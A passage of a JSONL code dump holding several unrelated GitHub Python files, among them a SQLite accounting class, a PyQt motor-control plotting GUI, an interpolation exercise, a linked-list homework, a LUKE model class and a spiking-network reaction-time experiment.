0')\n\ntest.loc[test.meter==0][['timestamp','meter_reading']].set_index('timestamp').resample('H').meter_reading.mean().plot()\nprint('Meter 1')\n\ntest.loc[test.meter==1][['timestamp','meter_reading']].set_index('timestamp').resample('H').meter_reading.mean().plot()\nprint('Meter 2')\n\ntest.loc[test.meter==2][['timestamp','meter_reading']].set_index('timestamp').resample('H').meter_reading.mean().plot()\nprint('Meter 3')\n\ntest.loc[test.meter==3][['timestamp','meter_reading']].set_index('timestamp').resample('H').meter_reading.mean().plot()","repo_name":"aorursy/new-nb-3","sub_path":"hanjoonchoe_ashrae-ngboost-simple-application.py","file_name":"hanjoonchoe_ashrae-ngboost-simple-application.py","file_ext":"py","file_size_in_byte":8982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74601266601","text":"import sqlite3\r\n\r\nclass Liabilities:\r\n liabilities={}\r\n liabilities_id=\"L000\"\r\n def __init__(self,id,title,debit,credit,debit_balance,credit_balance):\r\n Liabilities.liabilities_id= id\r\n self.id=id\r\n self.title=title\r\n self.debit = debit\r\n self.credit = credit\r\n self.debit_balance = debit_balance\r\n self.credit_balance = credit_balance\r\n Liabilities.liabilities[self.id]=self\r\n\r\n @classmethod\r\n def create_object(cls,type):\r\n def assign_id():\r\n x=list(Liabilities.liabilities_id)\r\n y=x[1]+x[2]+x[3]\r\n y=int(y)\r\n y+=1\r\n if len(str(y))==1:\r\n y='0'+'0'+str(y)\r\n elif len(str(y))==2:\r\n y='0'+str(y)\r\n f=x[0]+str(y)\r\n return f\r\n id= assign_id()\r\n # type=input(\"Enter Liability type: \")\r\n return cls(id,type.title(),\"0\",\"0\",\"0\",\"0\")\r\n\r\n def update_debit(self,x):\r\n self.debit=x\r\n conn = sqlite3.connect(\"accounts_db.db\")\r\n d = conn.cursor()\r\n d.execute((\"Update Liability SET debit = ? WHERE id =?\"), (x, self.id))\r\n conn.commit()\r\n self.update_debit_credit_balance()\r\n d.close()\r\n\r\n def update_credit(self,x):\r\n self.credit=x\r\n conn = sqlite3.connect(\"accounts_db.db\")\r\n d = conn.cursor()\r\n d.execute((\"Update Liability SET credit = ? WHERE id =?\"), (x, self.id))\r\n conn.commit()\r\n self.update_debit_credit_balance()\r\n d.close()\r\n\r\n def update_debit_credit_balance(self):\r\n debit_value= int(Liabilities.liabilities[self.id].debit)\r\n credit_value=int(Liabilities.liabilities[self.id].credit)\r\n if debit_value>credit_value:\r\n insert_value=debit_value-credit_value\r\n Liabilities.liabilities[self.id].debit_balance = insert_value\r\n Liabilities.liabilities[self.id].credit_balance = 0\r\n conn = sqlite3.connect(\"accounts_db.db\")\r\n d = conn.cursor()\r\n d.execute((\"Update Liability SET debit_balance = ? WHERE id =?\"), (insert_value, self.id))\r\n d.execute((\"Update Liability SET credit_balance=0 WHERE id=?\"),(self.id,))\r\n conn.commit()\r\n d.close()\r\n else:\r\n insert_value=credit_value-debit_value\r\n Liabilities.liabilities[self.id].debit_balance = 0\r\n Liabilities.liabilities[self.id].credit_balance = insert_value\r\n conn = sqlite3.connect(\"accounts_db.db\")\r\n d = conn.cursor()\r\n d.execute((\"Update Liability SET credit_balance = ? WHERE id =?\"), (insert_value, self.id))\r\n d.execute((\"Update Liability SET debit_balance=0 WHERE id=?\"), (self.id,))\r\n conn.commit()\r\n d.close()\r\n @classmethod\r\n def delete_objects(cls):\r\n for k,v in Liabilities.liabilities.items():\r\n Liabilities.liabilities.pop(k,None)","repo_name":"Usmanfawad/Financial-software-Python-","sub_path":"liability.py","file_name":"liability.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"20032481379","text":"#%%\nimport pyqtgraph as pg\nfrom PyQt5.QtWidgets import QApplication, QGridLayout, QVBoxLayout, QHBoxLayout, QWidget, QPushButton, QLineEdit, QSlider\nfrom PyQt5.QtCore import QObject, pyqtSignal\nfrom pyqtgraph.parametertree import Parameter, ParameterTree\nfrom pyqtgraph.Qt import QtCore, QtWidgets\n\npg.setConfigOption('background', 'w')\npg.setConfigOption('foreground', 'k')\n\napp = QApplication([])\nwin = pg.GraphicsLayoutWidget()\nlayout = QVBoxLayout()\n\nplot1 = pg.plot()\nplot2 = pg.plot()\nplot3 = pg.plot()\n\nplot1.showGrid(x = True, y = True, alpha = 0.3) \nplot2.showGrid(x = True, y = True, alpha = 0.3) \nplot3.showGrid(x = True, y = True, alpha = 0.3) \n\nplot2.setXLink(plot1)\nplot3.setXLink(plot1)\n\nmaxdata = 1000\n\nplot1.plotItem.getViewBox().setMouseMode(pg.ViewBox.RectMode)\nplot2.plotItem.getViewBox().setMouseMode(pg.ViewBox.RectMode)\nplot3.plotItem.getViewBox().setMouseMode(pg.ViewBox.RectMode)\nplot1.setXRange(0,maxdata)\nplot2.setXRange(0,maxdata)\nplot3.setXRange(0,maxdata)\n\nlayout.addWidget(plot1)\nlayout.addWidget(plot2)\nlayout.addWidget(plot3)\n\ncol = [[0, 114.4320, 189.6960],\n[217.6000, 83.2000, 25.0880],\n[237.8240, 177.6640, 32.0000],\n[126.4640, 47.1040, 142.3360],\n[119.2960, 172.5440, 48.1280],\n[77.0560, 190.7200, 238.8480],\n[162.5600, 19.9680, 47.1040],\n[0, 114.4320, 189.6960]]\n\nwidth = 1\ncurve1a = plot1.plot(pen=pg.mkPen(color=col[0], width=width))\ncurve1b = plot1.plot(pen=pg.mkPen(color=col[1], width=width))\ncurve1c = plot1.plot(pen=pg.mkPen(color=col[2], width=width))\ncurve1d = plot1.plot(pen=pg.mkPen(color=col[3], width=width))\ncurve2a = plot2.plot(pen=pg.mkPen(color=col[0], width=width))\ncurve2b = plot2.plot(pen=pg.mkPen(color=col[1], width=width))\ncurve3a = plot3.plot(pen=pg.mkPen(color=col[0], width=width))\ncurve3b = plot3.plot(pen=pg.mkPen(color=col[1], width=width))\ncurve3c = plot3.plot(pen=pg.mkPen(color=col[2], width=width))\n\n\n# win.showFullScreen()\n\nimport threading\nfrom collections import deque\n\ny1a = deque()\ny1b = deque()\ny1c = deque()\ny1d = deque()\ny2a = deque()\ny2b = deque()\ny3a = deque()\ny3b = deque()\ny3c = deque()\n\ndef update(data1 , data2 , data3, data4 , data5 , data6 , data7 , data8 , data9 ):\n y1a.extend( [data1] )\n y1b.extend( [data2] )\n y1c.extend( [data3] )\n y1d.extend( [data4] )\n y2a.extend( [data5] )\n y2b.extend( [data6] )\n y3a.extend( [data7] )\n y3b.extend( [data8] )\n y3c.extend( [data9] )\n while len(y1a) > maxdata:\n y1a.popleft() #remove oldest\n y1b.popleft() #remove oldest\n y1c.popleft() #remove oldest\n y1d.popleft() #remove oldest\n y2a.popleft() #remove oldest\n y2b.popleft() #remove oldest\n y3a.popleft() #remove oldest\n y3b.popleft() #remove oldest\n y3c.popleft() #remove oldest\n curve1a.setData( y=y1a)\n curve1b.setData( y=y1b)\n curve1c.setData( y=y1c)\n curve1d.setData( y=y1d)\n curve2a.setData( y=y2a)\n curve2b.setData( y=y2b)\n curve3a.setData( y=y3a)\n curve3b.setData( y=y3b)\n curve3c.setData( y=y3c)\n return\n\nclass Thread(pg.QtCore.QThread):\n def startdata(self, signals):\n signals = setTrace(signals)\n global dtypestrace, buffer\n dtypestrace = [dtypes[j] for j in ser.signals]\n buffer = bytearray(int(ser.tracebytes ))\n # setpar('motor.conf.Ndownsample' , int( 1/Ts ))\n self.stopdata()\n setpar('motor.conf.Ndownsample' , int( 0.01/Ts ))\n ser.write(b'b' + struct.pack('I', int(2**32-1)))\n \n def stopdata(self):\n ser.write(b'b' + struct.pack('I', int(0)))\n ser.flushInput()\n \n def resume(self):\n ser.write(b'b' + struct.pack('I', int(2**32-1))) \n \n # newData = pg.QtCore.Signal(object)\n newData = pg.QtCore.Signal(float , float , float , float , float , float, float , float, float)\n def run(self):\n while not win.isHidden():\n while ser.in_waiting < len(buffer):\n bla = 1\n ser.readinto(buffer)\n arr = np.ndarray(1, dtype=dtypestrace, buffer=buffer)\n # self.newData.emit( self.arr[0][0] , self.arr[0][1] , self.arr[0][2] , self.arr[0][3] , self.arr[0][4] , self.arr[0][5] ) # <- Here you emit a signal!\n self.newData.emit(arr[0][0],arr[0][1],arr[0][2],arr[0][3],arr[0][4],arr[0][5],arr[0][6],arr[0][7],arr[0][8] )\n # self.newData.emit( self.arr[0] ) # <- Here you emit a signal!\n # print( self.arr[0][0] )\n self.stopdata()\n \n\n\n\n\ndf = readall()\n\nparams = list()\nfor i in np.argsort( signames):\n if sigtypes[i] == 'f':\n sertype = 'float'\n if sigtypes[i] == 'b':\n sertype = 'bool'\n if sigtypes[i] == 'i':\n sertype = 'int'\n if sigtypes[i] == 'I':\n sertype = 'int'\n if not (type(df[signames[i]][0]) == np.ndarray):\n params.append( {'name' : signames[i] , 'type': sertype , 'value': df[signames[i]][0] } ) \n \n_params = Parameter.create(name='params', type='group', children=params)\n# _params = Parameter.create(name='params', children=params)\n\nchanges_ready_to_transmit = 0\nglobal totalchanges\ntotalchanges = []\n\ndef _enable_apply( param, changes):\n print(\"tree changes:\")\n for param, change, data in changes:\n path = _params.childPath(param)\n if path is not None:\n childName = \".\".join(path)\n else:\n childName = param.name()\n print(\" parameter: %s\" % childName)\n print(\" change: %s\" % change)\n print(\" data: %s\" % str(data))\n print(\" ----------\")\n global totalchanges\n totalchanges.append( changes )\n global changes_ready_to_transmit\n changes_ready_to_transmit = 1\n apply_btn.setStyleSheet(\"background-color: green\")\n return\n\n\ndef update_tree():\n thread.stopdata()\n df = readall()\n thread.resume()\n params = list()\n for i in range(len(signames)):\n if sigtypes[i] == 'f':\n sertype = 'float'\n if sigtypes[i] == 'b':\n sertype = 'bool'\n if sigtypes[i] == 'i':\n sertype = 'int'\n if sigtypes[i] == 'I':\n sertype = 'int'\n params.append( {'name' : signames[i] , 'type': sertype , 'value': df[signames[i]][0] } ) \n # _params = Parameter.create(name='params', type='group', children=params)\n # _params.setValue( params )\n _params.sigTreeStateChanged.disconnect()\n for param in _params:\n param.setValue( df[param.name()][0] )\n _params.sigTreeStateChanged.connect(_enable_apply)\n changes_ready_to_transmit = 0\n apply_btn.setStyleSheet(\"background-color: grey\")\n totalchanges.clear()\n # t.setParameters(_params, showTop=False)\n\ndef apply_parameters():\n\n global changes_ready_to_transmit\n global totalchanges\n \n if changes_ready_to_transmit:\n print(\"Writing params'\")\n for change in totalchanges:\n for param, change, data in change:\n path = _params.childPath(param)\n if path is not None:\n childName = \".\".join(path)\n else:\n childName = param.name()\n print(\" parameter: %s\" % childName)\n print(\" change: %s\" % change)\n print(\" data: %s\" % str(data))\n print(\" ----------\")\n setpar( childName , data )\n apply_btn.setStyleSheet(\"background-color: grey\")\n totalchanges = []\n changes_ready_to_transmit = 0\n return\n\n_params.sigTreeStateChanged.connect(_enable_apply)\n\nt = ParameterTree()\nt.setParameters(_params, showTop=False)\n\n\n\nlayout2 = QVBoxLayout()\nlayout2.addWidget(t)\n\nlayout3 = QHBoxLayout()\nupdate_btn = QtWidgets.QPushButton('Update')\nupdate_btn.clicked.connect( update_tree )\nupdate_btn.setStyleSheet(\"background-color: green\")\nlayout3.addWidget( update_btn)\n\napply_btn = QtWidgets.QPushButton('Apply Changes')\napply_btn.clicked.connect(apply_parameters)\napply_btn.setStyleSheet(\"background-color: grey\")\nlayout3.addWidget( apply_btn)\n\nlayout2.addLayout( layout3)\n\nlayouttot = QHBoxLayout()\nlayouttot.addLayout( layout2)\nlayouttot.addLayout( layout)\n\nwin.resize( 1000, 700)\nwin.setLayout(layouttot)\nwin.show()\n\nthread = Thread()\nthread.newData.connect(update)\nthread.start()\n\n\n\n\nthread.startdata( [ 'motor.state1.Id_SP', 'motor.state1.Iq_SP', 'motor.state1.Id_meas', 'motor.state1.Iq_meas', 'motor.state1.encoderPos1', 'motor.state1.encoderPos2','motor.state1.Vd','motor.state1.Vq','motor.state1.maxVolt'] )\n# thread.startdata( [ 'motor.state1.Id_SP', 'motor.state1.Iq_SP', 'motor.state1.Id_meas', 'motor.state1.Iq_meas', 'motor.state1.thethaPark', 'motor.state1.encoderPos2','motor.state1.Vd','motor.state1.Vq','motor.state1.maxVolt'] )\n\n\n\n#%%\n\nsignames[0].split('.')\n\n\n\nfrom _buildParamTypes import makeAllParamTypes\nfrom PyQt5.QtWidgets import QApplication, QGridLayout, QVBoxLayout, QHBoxLayout, QWidget, QPushButton, QLineEdit, QSlider\n\nimport pyqtgraph as pg\nfrom pyqtgraph.Qt import QtWidgets\n\napp = pg.mkQApp(\"Parameter Tree Example\")\nimport pyqtgraph.parametertree.parameterTypes as pTypes\nfrom pyqtgraph.parametertree import Parameter, ParameterTree\n\nparams = [\n {'name': 'Save/Restore functionality', 'type': 'group', 'children': [\n {'name': 'Save State', 'type': 'action'},\n ]},\n {'name': 'test', 'type': 'group', 'children': [\n {'name': 'Save State', 'type': 'action'},\n {'name': 'Restore State', 'type': 'action', 'children': [\n {'name': 'Add missing items', 'type': 'bool', 'value': True},\n {'name': 'Remove extra items', 'type': 'bool', 'value': True},\n ]},\n ]},\n]\n\n## Create tree of Parameter objects\np = Parameter.create(name='params', type='group', children=params)\n\nt = ParameterTree()\nt.setParameters(p, showTop=False)\nt.setWindowTitle('pyqtgraph example: Parameter Tree')\n\n\nwin = QtWidgets.QWidget()\nlayout = QtWidgets.QGridLayout()\nwin.setLayout(layout)\nlayout.addWidget(QtWidgets.QLabel(\"These are two views of the same data. They should always display the same values.\"), 0, 0, 1, 2)\nlayout.addWidget(t, 1, 0, 1, 1)\nwin.show()\n","repo_name":"ElwinBoots/Teensy_DualMotorBoard_V1","sub_path":"GraphAndTree.py","file_name":"GraphAndTree.py","file_ext":"py","file_size_in_byte":10195,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"40237507328","text":"import numpy as np\nfrom interpol1d import polinterpol, tschebyscheff, splineinterpol\nimport matplotlib.pyplot as plt\n\n\n# Teilaufgabe a)\ndef eval_runge(n: int = 3):\n def runge(_x):\n \"\"\"runge-funktion: https://en.wikipedia.org/wiki/Runge%27s_phenomenon\"\"\"\n return 1 / (1 + _x ** 2)\n # Parameterwahl\n realX = np.linspace(-5, 5, n) # aequidistante Stuetzstellen im Intervall [-5, 5]\n xi = tschebyscheff(-5, 5, realX) # wahl der tschebyscheff stützpunkte\n yi = runge(xi) # auswertung mit Funktion für Stuezstellen\n\n x = np.linspace(np.min(xi), np.max(xi), 100) # zu interpolierende werte\n\n # Polynominterpolation mit Newton-Basis\n out_newton = polinterpol(x, xi, yi)\n # Splineinterpolation mit natürlichen Splines\n out_spline = splineinterpol(x, xi, yi)\n\n # Darstellung\n plt.rcParams.update({'font.size': 14})\n plt.plot(xi, yi, '*', label='Stützwerte', linewidth=2, markersize=10)\n plt.plot(x, out_newton, label='Newton-Basis', linewidth=2)\n plt.plot(x, out_spline, label='Natürliche Splines', linewidth=2)\n plt.legend(loc='upper right')\n plt.xlabel('x')\n plt.ylabel('y')\n plt.title(f'Rungefunktion $f(x) = 1/(1+x^2)$ mit {len(realX)} Stützstellen')\n plt.show()\n\n\n\ndef eval_big_O(n: int = 3):\n def runge(_x):\n \"\"\"runge-funktion: https://en.wikipedia.org/wiki/Runge%27s_phenomenon\"\"\"\n return 1 / (1 + _x ** 2)\n # Parameterwahl\n realX = np.linspace(-5, 5, n) # aequidistante Stuetzstellen im Intervall [-5, 5]\n xi = tschebyscheff(-5, 5, realX) # wahl der tschebyscheff stützpunkte\n yi = runge(xi) # auswertung mit Funktion für Stuezstellen\n\n x = np.linspace(np.min(xi), np.max(xi), 100) # zu interpolierende werte\n\n # Splineinterpolation mit natürlichen Splines\n out_spline = splineinterpol(x, xi, yi)\n \n err[int(n/3)-1] = np.linalg.norm(out_spline-runge(x), np.inf)\n\n\n\nif __name__ == '__main__':\n\n # 2a)\n \n for i in range(3, 21, 3):\n eval_runge(i)\n\n # 2b)\n\n n = 150\n\n err = np.zeros(n)\n \n for i in range(len(err-2)):\n eval_big_O(i*3+3)\n\n\n # Darstellung\n plt.rcParams.update({'font.size': 14})\n plt.semilogy(err)\n x = np.flip(np.linspace(3, n, 30))\n #plt.xlim(3, n)\n #plt.legend(loc='upper right')\n plt.xlabel('# Stützstellen')\n plt.ylabel('Fehler')\n plt.show()\n ","repo_name":"philsupertramp/interpol1d","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"19476579602","text":"#!/usr/bin/env python3\n\n# Yes, 3utools does not need any API key how excellent and polite!\n# Let's build something beautiful out of the API, definitly not this crappy script I wrote in a minute.\n\nimport os\nimport sys\nimport requests\n\nclass TreeUAPI:\n def __init__(self):\n self.apibase = 'http://app.pcres.3u.com/'\n self.actions = ['firmware_list', 'firmware_iosVersion']\n \n def firmware_list(self, model='', fs='', seltype='', ios=''):\n url = self.apibase + 'firmware_list.action?'\n if model != '':\n url += '&model=' + str(model)\n \n if fs != '':\n url += '&fs=' + str(fs)\n \n if seltype != '':\n url += '&seltype=' + str(seltype)\n \n if ios != '':\n url += '&ios=' + str(ios)\n \n response = requests.get(url)\n print(response.text)\n \n","repo_name":"userlandkernel/Reversing3utools","sub_path":"scripts/3utoolsapi/python/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"18"} +{"seq_id":"26182348694","text":"class Node:\n def __init__(self, data=None):\n self.data = data #значення списку\n self.next = None # посилання на наступне значення\n\n\nclass LinkedList:\n def __init__(self):\n self.tail = None\n self.head = None\n\n def append(self, data):\n \"\"\"додае єлемент у кінець списку\"\"\"\n new_node = Node(data)\n if self.head is None: #якщо голова пуста, тоді значення додаеться до списку\n self.head = new_node\n else:\n current = self.head #поточний елемент\n while current.next: #поки current.next не None\n current = current.next #переміщаемо поточний елемент\n current.next = new_node # коли прийш\n\n def add_to_head(self, data):\n \"\"\"Додати елемент до списку на початок\"\"\"\n new_node = Node(data)\n if self.head is None:\n self.head = new_node\n self.tail = new_node\n else:\n new_node.next = self.head\n self.head = new_node\n\n def insert_after(self, target_data, data):\n \"\"\"Вставити новий елемент із деяким значенням безпосередньо після елемента із даними, що є у списку\"\"\"\n new_node = Node(data)\n current = self.head\n while current:\n if current.data == target_data:\n new_node.next = current.next\n current.next = new_node\n break\n current = current.next\n\n def delete_last_node(self):\n \"\"\"Видалити елемент з хвоста списку\"\"\"\n if not self.head: #якшо список потожній, нічого неповертаемо\n return\n if not self.head.next: #Якщо у списку є лише один елемент, то він видаляється шляхом призначення\n self.head = None\n return\n\n current = self.head # ніціалізуємо змінну current значенням self.head, щоб почати перебір списку з початку.\n while current.next.next: #продовжуватися, поки current має наступний елемент після поточного.\n current = current.next #У кожній ітерації циклу ми переходимо до наступного елементу\n\n current.next = None #Коли цикл завершується, ми призначаємо None останньому вузлу\n\n def delet_first_node(self):\n \"\"\"Видалити елемент з голови списку\"\"\"\n current = self.head\n if self.head is None:\n print('Немає элементів для видалення')\n else:\n self.head = current.next\n\n def delete_value(self, target_data, delete_all=False):\n \"\"\"Видалити елемент із деяким значенням у списку (задається яке значення та кількість можливих видалень, бо у списку дані можуть повторюватись). \"\"\"\n if not self.head:\n return\n while self.head and self.head.data == target_data:\n self.head = self.head.next\n\n current = self.head\n while current and current.next:\n if current.next.data == target_data:\n current.next = current.next.next\n if not delete_all:\n break\n else:\n current = current.next\n\n def replace_value(self, old_data, new_data, replace_all=False):\n \"\"\"Замінити значення у списку на нове значення (користувач визначає, чи замінити тільки перше входження чи всі)\"\"\"\n current = self.head\n while current:\n if current.data == old_data:\n current.data = new_data\n if not replace_all:\n break\n current = current.next\n\n def size(self):\n \"\"\"Визначте розмір списку\"\"\"\n count = 0\n current = self.head\n while current:\n count += 1\n current = current.next\n return count\n\n\n def display(self): #метод для відображення списку\n current = self.head #визначаемо перший єлемент списку поточним\n while current: # поки current не = None\n print(current.data, end=\" -> \")\n current = current.next # переміщуемо current на наступний єлемент\n print(\"None\")\n\n\nmy_list = LinkedList() #створюємо список\n\n\ndef display_menu():\n print()\n print(\"Меню:\")\n print(\"1. Додати елемент у хвіст списку\")\n print(\"2. Додати елемент до списку на початок\")\n print(\"3. Вставити новий елемент після певного значення\")\n print(\"4. Видалити елемент з хвоста списку\")\n print(\"5. Видалити елемент з голови списку\")\n print(\"6. Видалити елемент за значенням\")\n print(\"7. Замінити значення в списку\")\n print(\"8. Визначити розмір списку\")\n print(\"9. Показати вміст списку\")\n print(\"0. Вийти\")\n\n\nwhile True:\n display_menu()\n choice = int(input(\"Виберіть опцію: \"))\n\n if choice == 1:\n value = input(\"Введіть елемент, який Ви хочете додати у хвіст списку: \")\n my_list.append(value)\n elif choice == 2:\n value = input(\"Введіть елемент, який Ви хочете додати у голову списку: \")\n my_list.add_to_head(value)\n elif choice == 3:\n value = input(\"Введіть значення, після якого потрібно вставити новий елемент: \")\n new_element = input(\"Введіть новий елемент: \")\n my_list.insert_after(value, new_element)\n elif choice == 4:\n my_list.delete_last_node()\n print(f'Отанній елемент видалено з списку')\n elif choice == 5:\n my_list.delet_first_node()\n print(f'Перший елемент видалено з списку')\n elif choice == 6:\n value = input(\"Введіть значення для видалення: \")\n delete_all = input(\"Видалити всі входження цього значення? (y/n): \").lower()\n my_list.delete_value(value, delete_all == 'y')\n elif choice == 7:\n old_data = input(\"Введіть старе значення: \")\n new_data = input(\"Введіть нове значення: \")\n replace_all = input(\"Замінити всі входження цього значення? (y/n): \").lower()\n my_list.replace_value(old_data, new_data, replace_all == 'y')\n elif choice == 8:\n print(f\"Розмір списку = {my_list.size()}\")\n elif choice == 9:\n print(f\"Вміст списку: {my_list.display()}\")\n elif choice == '0':\n break\n else:\n print(\"Невірний вибір. Спробуйте ще раз.\")\n","repo_name":"Vanooo64/itstep_OOPs","sub_path":"hw/63_Linked_lists/Linked_lists.py","file_name":"Linked_lists.py","file_ext":"py","file_size_in_byte":7726,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31643888075","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom luke.model import LukeEntityAwareAttentionModel\n\n\nclass LukeForRelationClassification(LukeEntityAwareAttentionModel):\n def __init__(self, args, num_labels):\n super(LukeForRelationClassification, self).__init__(args.model_config)\n\n self.args = args\n\n self.num_labels = num_labels\n self.dropout = nn.Dropout(args.model_config.hidden_dropout_prob)\n self.classifier = nn.Linear(args.model_config.hidden_size * 2, num_labels, False)\n\n self.apply(self.init_weights)\n\n def forward(\n self,\n word_ids,\n word_segment_ids,\n word_attention_mask,\n entity_ids,\n entity_position_ids,\n entity_segment_ids,\n entity_attention_mask,\n label=None,\n ):\n encoder_outputs = super(LukeForRelationClassification, self).forward(\n word_ids,\n word_segment_ids,\n word_attention_mask,\n entity_ids,\n entity_position_ids,\n entity_segment_ids,\n entity_attention_mask,\n )\n\n feature_vector = torch.cat([encoder_outputs[1][:, 0, :], encoder_outputs[1][:, 1, :]], dim=1)\n feature_vector = self.dropout(feature_vector)\n\n logits = self.classifier(feature_vector)\n if label is None:\n return logits\n\n return (F.cross_entropy(logits, label),)\n","repo_name":"studio-ousia/luke","sub_path":"examples/legacy/relation_classification/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":666,"dataset":"github-code","pt":"18"} +{"seq_id":"71708678760","text":"import random, math, sys, os, ifnn, time, ga, configparser\n\n# Read experiment configuration\nconfig = configparser.ConfigParser()\nconfig.read(sys.argv[1])\nconfig = config['EXP']\n\nEXT_STIMULI = float(config['EXT_STIMULI'])\nCUE_STIMULI = float(config.get('CUE_STIMULI', EXT_STIMULI))\nTAU = float(config.get('TAU', 10))\nCOST_FACTOR = float(config['COST_FACTOR'])\nMIN_GENE = float(config['MIN_GENE'])\nMAX_GENE = float(config['MAX_GENE'])\nMUTATION_STEP = float(config['MUTATION_STEP'])\nGENERATIONS = int(config['GENERATIONS'])\nSAVE = int(config['SAVE'])\nif GENERATIONS % SAVE != 0:\n sys.stderr.write('Bad number of generations.\\n')\n sys.exit(-1)\nRUNS = int(config['RUNS'])\nNUM_POPS = int(config['NUM_POPS'])\nNUM_INDS = int(config['NUM_INDS'])\nMIGRAR = int(config['MIGRAR'])\nMAX_STAGNATION = int(config['MAX_STAGNATION'])\nNOISE = int(config['NOISE'])\nNOISE_SIGMA = float(config['NOISE_SIGMA'])\nDIR = config['DIR']\nFILENAME = os.path.join(DIR, 'r%03d-g%03d')\n\ndef advance_nn(self, nn, s):\n return nn.advance(s)\n\ndef advance_nn_with_noise(self, nn, s):\n noise = [random.gauss(0, NOISE_SIGMA) for i in range(nn.num_neurons())]\n return nn.advance_with_noise(s, noise)\n\nclass Task:\n # Time parameters\n PRE_TIME = 50\n MIN_CUE_TIME = 100\n MAX_CUE_TIME = None\n MAX_RT = 1000\n \n advance = advance_nn_with_noise if NOISE else advance_nn\n \n @classmethod\n def define_trials(cls, valid, neutral, invalid, catch, reps):\n cls.trials = (\n ('L', 'V'),\n ('R', 'V'),\n ) * valid * reps + (\n ('L', 'I'),\n ('R', 'I'),\n ) * invalid * reps + (\n ('L', 'N'),\n ('R', 'N'),\n ) * neutral * reps + (\n ('C', 'V'),\n ) * round(catch * valid * 2 * reps) + (\n ('C', 'I'),\n ) * round(catch * invalid * 2 * reps) + (\n ('C', 'N'),\n ) * round(catch * neutral * 2 * reps)\n \n def run(self, c, nn):\n results = []\n for params in self.trials:\n nn.reset()\n s = [0] * nn.num_input_neurons()\n for i in range(self.PRE_TIME):\n output = self.advance(nn, s)\n side, vcue = params\n if vcue == 'N':\n cue = [0, CUE_STIMULI, 0]\n elif side == 'L' and vcue == 'V' or side == 'R' and vcue == 'I':\n cue = [CUE_STIMULI, 0, 0]\n else:\n cue = [0, 0, CUE_STIMULI]\n t = -random.randint(self.MIN_CUE_TIME, self.MAX_CUE_TIME)\n rt = None\n s[1:4] = cue\n while t <= self.MAX_RT:\n if t == 0:\n if side == 'L':\n s[0] = EXT_STIMULI\n elif side == 'R':\n s[4] = EXT_STIMULI\n else:\n assert side == 'C'\n assert len(s) == nn.num_input_neurons()\n output = self.advance(nn, s)\n result = self.got_result(output, side)\n if result is not None:\n result['params'] = params\n result['rt'] = t\n results.append(result)\n break\n else:\n t += 1\n else:\n result = {}\n result['params'] = params\n result['rt'] = None\n results.append(result)\n self.set_fitness(c, results)\n @staticmethod\n def get_fitness(rt):\n return 1000 * math.exp(-0.01 * rt)\n @staticmethod\n def print_stats(c):\n # Printing statistics\n \n print(\"%10d\" % c.fitness, end='\\t')\n if c.rt_valid is not None:\n print(\"% 7.2f\" % c.rt_valid, end='\\t')\n else:\n print(\"-------\", end='\\t')\n if c.rt_neutral is not None:\n print(\"% 7.2f\" % c.rt_neutral, end='\\t')\n else:\n print(\"-------\", end='\\t')\n if c.rt_invalid is not None:\n print(\"% 7.2f\" % c.rt_invalid, end='\\t')\n else:\n print(\"-------\", end='\\t')\n print('\\t'.join(['%3d' for i in c.count]) % c.count, end='\\t')\n print()\n\nclass SimpleRTTask(Task):\n def got_result(self, output, side):\n if output[0]:\n return {}\n else:\n return None\n \n def set_fitness(self, c, results):\n c.fitness = 0\n anticipated = 0\n resp = 0\n miss = 0\n catch = 0\n rt_valid = []\n rt_invalid = []\n rt_neutral = []\n for r in results:\n side, vcue = r['params']\n if r['rt'] is not None:\n resp += 1\n if side == 'C': # responded in a catch trial\n pass\n elif r['rt'] <= 0: # anticipated\n anticipated += 1\n else:\n c.fitness += self.get_fitness(r['rt'])\n if vcue == 'V':\n rt_valid.append(r['rt'])\n elif vcue == 'I':\n rt_invalid.append(r['rt'])\n else:\n assert vcue == 'N'\n rt_neutral.append(r['rt'])\n else:\n if side == 'C':\n c.fitness += 1000\n catch += 1\n else:\n miss += 1\n c.rt_valid = median(rt_valid)\n c.rt_invalid = median(rt_invalid)\n c.rt_neutral = median(rt_neutral)\n c.count = (resp, miss, anticipated, catch)\n\nclass ChoiceRTTask(Task):\n def got_result(self, output, side):\n if output[0] and output[1]:\n return {'correct': False}\n elif output[0]:\n return {'correct': (side == 'L')}\n elif output[1]:\n return {'correct': (side == 'R')}\n else:\n return None\n \n def set_fitness(self, c, results):\n c.fitness = 0\n anticipated = 0\n resp = 0\n miss = 0\n wrong = 0\n catch = 0\n rt_valid = []\n rt_invalid = []\n rt_neutral = []\n for r in results:\n side, vcue = r['params']\n if r['rt'] is not None:\n resp += 1\n if side == 'C': # responded in a catch trial\n pass\n elif r['rt'] <= 0: # anticipated\n anticipated += 1\n elif r['correct']:\n c.fitness += self.get_fitness(r['rt'])\n if vcue == 'V':\n rt_valid.append(r['rt'])\n elif vcue == 'I':\n rt_invalid.append(r['rt'])\n else:\n assert vcue == 'N'\n rt_neutral.append(r['rt'])\n else:\n wrong += 1\n else:\n if side == 'C':\n c.fitness += 1000\n catch += 1\n else:\n miss += 1\n c.rt_valid = median(rt_valid)\n c.rt_invalid = median(rt_invalid)\n c.rt_neutral = median(rt_neutral)\n c.count = (resp, miss, anticipated, wrong, catch)\n\ndef avg(l):\n try:\n return sum(l) / float(len(l))\n except:\n return None\n\ndef median(l):\n if len(l) == 0:\n return None\n l.sort()\n if len(l) % 2 == 0:\n return avg((l[len(l) // 2 - 1], l[len(l) // 2]))\n else:\n return l[len(l) // 2]\n\ndef simplert_fitness_function(pop):\n #print(' fitness\\tvalidRT\\tinvldRT\\tneutrRT\\tres\\tmis\\tant\\tcat')\n for c in pop:\n trials = 